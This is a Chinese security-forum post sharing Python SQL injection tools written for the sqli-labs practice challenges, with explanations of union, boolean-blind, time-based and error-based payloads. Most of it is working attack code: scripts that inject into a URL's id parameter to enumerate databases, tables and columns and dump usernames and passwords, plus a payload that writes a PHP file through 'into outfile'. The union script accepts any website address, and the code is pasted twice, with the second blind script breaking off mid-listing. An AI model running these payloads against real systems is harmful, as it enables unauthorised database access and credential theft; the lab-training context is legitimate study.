首页
社区
课程
招聘
[分享][原创]sql注入工具编写源码 基于sqli-labs-master 闯关游戏
发表于: 2020-9-25 08:51 1815

[分享][原创]sql注入工具编写源码 基于sqli-labs-master 闯关游戏

2020-9-25 08:51
1815

用python3编写

1)首先构造闭合语句
尝试url加上id',id'',id'),id''),id'))或者id')),若有报错信息,则可以猜测后台sql语句
如下图报错,可猜测原语句为 SELECT * FROM users WHERE id='1'等等等,因为输入的 ’与前面的语句闭合,后面的等等等语句产生错误,这时尝试输入 id=1' -- 1 则成功,不报错,-- 1 和#是一样的,可以注释掉后面的语句,但是#可能被过滤掉
id=1'

id=1' -- 1

2)这时故意输入id=-1' 后面加上union语句,那么union前的语句因错误不会输出(也可以id=1'and1=2),而后面语句照常输出

3)接下来如下示例依次尝试,直到不报错,则为正常输出列数

id=-1' union select 1 -- 1
id=-1' union select 1,2-- 1
id=-1' union select 1,2,3-- 1

正确列数为3

那么将2,3替换成我们想要的搜索sql语句就可以得到想要的信息
如id=-1' union select 1,database(),version()-- 1

分别得到数据库和版本号,根据版本号,可以上网搜索漏洞

接下来获取所有数据库名-》选择数据库-》查看这个数据库下所有表-》选择表-》查询这个表下所有列名
最后就可以得到用户名和密码
id=-1' union select 1,username,password from security.users limit 3,1-- 1

接下来我们可以利用html的相关知识,获取到网页的信息,然后通过正则得到想要的内容,若与预期不符,则可以做if判断进行编写

1)同上文中联合查询一样构造闭合语句,但是却发现网页返回的信息很少,这时候就需要盲注
2)你会发现以下情况

id=1' and 1=1 -- 1

id=1' and 1=2 -- 1

这说明,and后面表达式的真假决定是否输出内容
那么我们就可以将想要查询的sql语句写入and后,来得到想要的信息
如:

获取数据库的长度:id=1' and length(database())=6 -- 1
获取数据库的名字:id=1' and substr(database(),1,1)='a'-- 1
获取数据库某表名:id=1' and substr((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 0,1),1,1) ='@'-- 1
获取某表的某列名:id=1' and substr((select COLUMN_NAME from information_schema.COLUMNS where
TABLE_NAME='users' and TABLE_SCHEMA='security' limit 0,1),1,1) ='h'-- 1

3)接下来就是写代码
获取当前数据库名-》选择数据库-》获取这个数据库有几个表-》依次获取每个表的长度-》依次获取获取表名-》依次获取每个表的长度、列名
依据html知识获取网页信息,进行判断
但是请注意,因为做了很多循环,加之python作为高级语言,输出会很慢,调试请分块调试

1)
报错注入主要应用到 updatexml(XML_document, XPath_string, new_value) 这样的函数
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

2)
例如 id=1' or updatexml(1,concat(0x7e,database()),0) -- 1

因为concat(0x7e,database())中concat函数返回一个连接参数的字符串,不符合updatexml函数第二个参数的格式,从而出现格式错误

其中0x7e是~,id=1’构成闭合语句,or替换为and也没关系

这样改变第二个参数中的语句,就可以获得想要的信息

1)
id=1' -- 1 耗时大概2000毫秒

id=1' and sleep(5) -- 1 耗时大概7000毫秒

这说明and后面的表达式执行了

2)

我们可以利用时间的差别,做判断

如 id=1' and if(length(database())=1),sleep(5),null) -- 1

and后为一个判断语句,如果数据库名字长度为1,那么执行sleep函数,那么就要等5000ms,否则不用等

这样在if里面填入我们待判断的信息,通过查看是否延时执行来判断if条件是否成立即可

3)

下方代码用于获取网页响应时间,其余代码与布尔盲注大体相似

1)
会用到floor(),rand(),group by ,count(*)这些函数

floor(rand(0)*2),意思是随机产生0或1

group by在sql表里就是按照这个表的某一列中的字段分组
如:有一列是单元楼号,里面有1单元,2单元等等,那么就按照1单元分为一组,二单元为一组

count和group by合起来用就是统计每组的数值和
如 输出为 所有住一单元的一组的总人数, 所有住二单元的一组的总人数

2)

group by 在执行时会生成一张虚拟表,这张表的主键就是group by后面的key

因为group by后面是一个随机值,那么如果查询表的key值为0,检测虚拟表无重复,再插入的时候有生成1,主键冲突就会报出错误。

3)

id=1" and 0 union SELECT 1,2,COUNT() FROM information_schema.TABLES group by concat(version(), floor(rand(0)2)) %23

%23就是#,version()是版本信息,更改concat()的参数值,就可以得到想要的内容

1)下载hackbar插件,按下f12,选择hackbar,然后点击load,execute加载页面会方便一些

2)通常页面只能显示一个字段,但查询到的内容不止一个,可通过 group_concat 将查询的结果拼接之后输出
3)除了用UNION 联合查询猜测字段的数量,还可以用ORDER BY
4)除了搜索一些我们想要的信息,同时可以注入一些信息
如第七关,id=1')) union select 1,2, version() into outfile "E:\abc.php"%23
5)本文记录平日自己写的项目(其中用到的知识来自于15pb,遇到不解处多谢老师指导)

 
 
 
 
 
 
 
 
 
import requests
import urllib
import re
import urllib.parse
 
 
from pip._vendor.distlib.compat import raw_input
 
 
#定义一个字典
values={}
 
#若想适合所有联合查询
#此处添加一个判断id=1’ ")的闭合语句
#此处添加一个判断union后select语句搜索列数判断的语句
 
def printy(name_list):
    new_list=name_list[0].strip(b',').split(b',')
    print(set(new_list))
    print("\n")
 
 
def get(url,values):
    #urlencode将字典返回字符串
    data=urllib.parse.urlencode(values)
    geturl=url+'?'+data
    #构造一个向服务器请求资源的url对象.这个对象是request库内部生成的。这时候的r返回的是一个包含服务资源的response对象。包含从服务器返回的所有的相关资源
    response = requests.get(geturl)
    # content返回一个二进制数据
    result=response.content
    #从第二个参数中匹配第一个用正则表示的参数,加r是不要转意
    find_list=re.findall(b"<br>Your Password:(.*?)</font>",result)
    if len(find_list)>0:
        return find_list
 
def get_database_name(url):
    values['id'] = "-1' union select 0,1,group_concat(database()) from INFORMATION_SCHEMA.SCHEMATA -- 1"
    #调用上个函数,获取数据库列表
    name_list=get(url,values)
    print ('The database:')
    printy(name_list)
 
def table_name(url):
    #获取控制台输入,并将所有输入作为字符串看待,返回字符串类型,获取的是上一个函数返回中的一个
    database_name=raw_input('please input your database:')
    values['id'] = "-1' union select 0,1,group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='"+database_name +"' -- 1"
    name_list=get(url,values)
    print('The table is:')
    printy(name_list)
 
def column_name(url):
    # 获取控制台输入,并将所有输入作为字符串看待,返回字符串类型,获取的是上一个函数返回中的一个
    database_name = raw_input('please input your database:')
    table_name=raw_input('please input your table:')
    values['id']="-1' union select 0,1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+table_name+"'and TABLE_SCHEMA='"+database_name+"' -- 1"
    name_list=get(url,values)
    print('The column is:')
    printy(name_list)
 
def context(url):
    # 获取控制台输入,并将所有输入作为字符串看待,返回字符串类型,获取的是上一个函数返回中的一个
    database_name = raw_input('please input your database:')
    table_name=raw_input('please input your table:')
    username = raw_input('please input your username:')#输入代表用户名的列,如username
    password = raw_input('please input your password:')#输入代表密码的列,如password
    values['id']="-1' union select 0,1,group_concat("+username+") from "+database_name+"."+table_name+" -- 1"
    name_list1=get(url,values)
    values['id']="-1' union select 0,1,group_concat("+password+") from "+database_name+"."+table_name+" -- 1"
    name_list2=get(url,values)
    print('The username is:')
    printy(name_list1)
    print('The password is:')
    printy(name_list2)
 
if __name__ == '__main__':
    try:
        #http://127.0.0.1/Less-1
        url=raw_input('please input your website:')
        get_database_name(url)
        table_name(url)
        column_name(url)
        context(url)
    except BaseException:
        print('该网址不适用联合查询')
import requests
import urllib
import re
import urllib.parse
 
 
from pip._vendor.distlib.compat import raw_input
 
 
#定义一个字典
values={}
 
#若想适合所有联合查询
#此处添加一个判断id=1’ ")的闭合语句
#此处添加一个判断union后select语句搜索列数判断的语句
 
def printy(name_list):
    new_list=name_list[0].strip(b',').split(b',')
    print(set(new_list))
    print("\n")
 
 
def get(url,values):
    #urlencode将字典返回字符串
    data=urllib.parse.urlencode(values)
    geturl=url+'?'+data
    #构造一个向服务器请求资源的url对象.这个对象是request库内部生成的。这时候的r返回的是一个包含服务资源的response对象。包含从服务器返回的所有的相关资源
    response = requests.get(geturl)
    # content返回一个二进制数据
    result=response.content
    #从第二个参数中匹配第一个用正则表示的参数,加r是不要转意
    find_list=re.findall(b"<br>Your Password:(.*?)</font>",result)
    if len(find_list)>0:
        return find_list
 
def get_database_name(url):
    values['id'] = "-1' union select 0,1,group_concat(database()) from INFORMATION_SCHEMA.SCHEMATA -- 1"
    #调用上个函数,获取数据库列表
    name_list=get(url,values)
    print ('The database:')
    printy(name_list)
 
def table_name(url):
    #获取控制台输入,并将所有输入作为字符串看待,返回字符串类型,获取的是上一个函数返回中的一个
    database_name=raw_input('please input your database:')
    values['id'] = "-1' union select 0,1,group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='"+database_name +"' -- 1"
    name_list=get(url,values)
    print('The table is:')
    printy(name_list)
 
def column_name(url):
    # 获取控制台输入,并将所有输入作为字符串看待,返回字符串类型,获取的是上一个函数返回中的一个
    database_name = raw_input('please input your database:')
    table_name=raw_input('please input your table:')
    values['id']="-1' union select 0,1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+table_name+"'and TABLE_SCHEMA='"+database_name+"' -- 1"
    name_list=get(url,values)
    print('The column is:')
    printy(name_list)
 
def context(url):
    # 获取控制台输入,并将所有输入作为字符串看待,返回字符串类型,获取的是上一个函数返回中的一个
    database_name = raw_input('please input your database:')
    table_name=raw_input('please input your table:')
    username = raw_input('please input your username:')#输入代表用户名的列,如username
    password = raw_input('please input your password:')#输入代表密码的列,如password
    values['id']="-1' union select 0,1,group_concat("+username+") from "+database_name+"."+table_name+" -- 1"
    name_list1=get(url,values)
    values['id']="-1' union select 0,1,group_concat("+password+") from "+database_name+"."+table_name+" -- 1"
    name_list2=get(url,values)
    print('The username is:')
    printy(name_list1)
    print('The password is:')
    printy(name_list2)
 
if __name__ == '__main__':
    try:
        #http://127.0.0.1/Less-1
        url=raw_input('please input your website:')
        get_database_name(url)
        table_name(url)
        column_name(url)
        context(url)
    except BaseException:
        print('该网址不适用联合查询')
 
 
 
 
 
 
 
import re
 
import requests
import urllib
import urllib.parse
 
 
from pip._vendor.distlib.compat import raw_input
 
def pass_ornot(values):
    # urlencode将字典返回字符串
    data = urllib.parse.urlencode(values)
    geturl = url + '?' + data
    # 构造一个向服务器请求资源的url对象.这个对象是request库内部生成的。这时候的r返回的是一个包含服务资源的response对象。包含从服务器返回的所有的相关资源
    response = requests.get(geturl)
    # content返回一个二进制数据
    result = response.content
    # 从第二个参数中匹配第一个用正则表示的参数,加r是不要转意
    find_list = re.findall(b'<font size="5" color="#FFFF00">(.*?)<br></font>', result)
    if find_list == [b'You are in...........']:
        return 666
    else:
        return 0
 
def database_length(url):
    # 定义一个字典
    values={}
    for i in range(1,100):
        #猜长度
        values['id']="1' and length(database())=%d -- 1"%i
        if pass_ornot(values)==666:
            return i
 
def database_name(url):
    payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.'
    values={}
    database_name=''
    aa=15
    #调用上一个函数,返回数据库长度
    aa=database_length(url)
    #从数据库名字的第一个字节开始遍历
    for i in range(1,aa+1):
        #在确定名字所在位数的基础上用遍历字符串
        for payload in payloads:
            #猜测字符
            values['id']="1' and substr(database(),%d,1)='%s' -- 1"%(i,payload)
            if pass_ornot(values)==666:
                #一位一位辨认,最后都加上
                database_name+=payload
    return database_name
 
#获取表的数量
def table_count(url):
    values={}
    for i in range(1,100):
        values['id']="1' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=%d -- 1"%i
        if pass_ornot(values)==666:
            return i
 
#获取表名字的长度
def table_length(url,a):
    values={}
    for i in range(0,100):
        values['id']="1' and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit %d,1)=%d -- 1"%(a,i)
        if pass_ornot(values) == 666:
            return i
 
#获取表的名字
def table_name(url):
    payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.'
    values={}
    table_name=[]
    #调用上上个函数,获取表名字的数量
    bb = table_count(url)
    for i in range(0,bb):
        user=''
        #调用上个函数,获取表的长度
        cc = table_length(url,i)
        for j in range(1,cc+1):
            for payload in payloads:
                values['id']="1' and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit %d,1),%d,1)='%s' -- 1"%(i,j,payload)
                if pass_ornot(values) == 666:
                    user+=payload
                    break
        table_name.append(user)
    return table_name
 
def column_count(url,table_name):
    values={}
    for i in range(1,100):
        values['id']="1' and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+table_name+"' and TABLE_SCHEMA='security')=%d -- 1"%i
        if pass_ornot(values) == 666:
            return i
 
def column_length(num,url,table_name):
    values={}
    for i in range(1,100):
        values['id']="1' and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME="+"'"+table_name+"' and TABLE_SCHEMA='security' limit %d,1)=%d -- 1"%(num,i)
        if pass_ornot(values) == 666:
            return i
 
def column_name(url,table_name):
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    values={}
    column_name=[]
    #一共有dd个字段
    dd=column_count(url,table_name)
    for i in range(0,dd):
        user=''
        #对应不同的字段有不同的字长
        bb=column_length(i,url,table_name)
        for j in range(1,bb+1):
            for payload in payloads:
                values['id']="1' and substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="+"'"+table_name+"' and TABLE_SCHEMA=database() limit %d,1),%d,1) ='%s' -- 1"%( i, j, payload)
                if pass_ornot(values) == 666:
                    user += payload
                    break
        column_name.append(user)
    return column_name
 
if __name__ == '__main__':
    url='http://127.0.0.1/Less-8/'
 
    #数据库名称
    databasename=database_name(url)
    print ("The current database:"+databasename)
 
    #表的名称
    tables=table_name(url)
    print(" have the tables:")
    print(tables)
 
    #列的名称,可以填users
    target_table = raw_input('please input your table:')
    print (target_table+" have the columns:")
    print (column_name(url,target_table))
import re
 
import requests
import urllib
import urllib.parse
 
 
from pip._vendor.distlib.compat import raw_input
 
def pass_ornot(values):
    # urlencode将字典返回字符串
    data = urllib.parse.urlencode(values)
    geturl = url + '?' + data
    # 构造一个向服务器请求资源的url对象.这个对象是request库内部生成的。这时候的r返回的是一个包含服务资源的response对象。包含从服务器返回的所有的相关资源
    response = requests.get(geturl)
    # content返回一个二进制数据
    result = response.content
    # 从第二个参数中匹配第一个用正则表示的参数,加r是不要转意
    find_list = re.findall(b'<font size="5" color="#FFFF00">(.*?)<br></font>', result)
    if find_list == [b'You are in...........']:
        return 666
    else:
        return 0
 
def database_length(url):
    # 定义一个字典
    values={}
    for i in range(1,100):
        #猜长度
        values['id']="1' and length(database())=%d -- 1"%i
        if pass_ornot(values)==666:
            return i
 
def database_name(url):
    payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.'
    values={}
    database_name=''
    aa=15
    #调用上一个函数,返回数据库长度
    aa=database_length(url)
    #从数据库名字的第一个字节开始遍历
    for i in range(1,aa+1):
        #在确定名字所在位数的基础上用遍历字符串
        for payload in payloads:
            #猜测字符
            values['id']="1' and substr(database(),%d,1)='%s' -- 1"%(i,payload)
            if pass_ornot(values)==666:
                #一位一位辨认,最后都加上
                database_name+=payload
    return database_name
 
#获取表的数量
def table_count(url):
    values={}
    for i in range(1,100):
        values['id']="1' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=%d -- 1"%i
        if pass_ornot(values)==666:
            return i
 
#获取表名字的长度
def table_length(url,a):
    values={}
    for i in range(0,100):
        values['id']="1' and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit %d,1)=%d -- 1"%(a,i)
        if pass_ornot(values) == 666:
            return i
 
#获取表的名字
def table_name(url):
    payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.'

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-11-27 09:23 被哦哈哈哈哈编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 300
活跃值: (2477)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢楼主分享
2020-9-26 18:41
0
游客
登录 | 注册 方可回帖
返回
//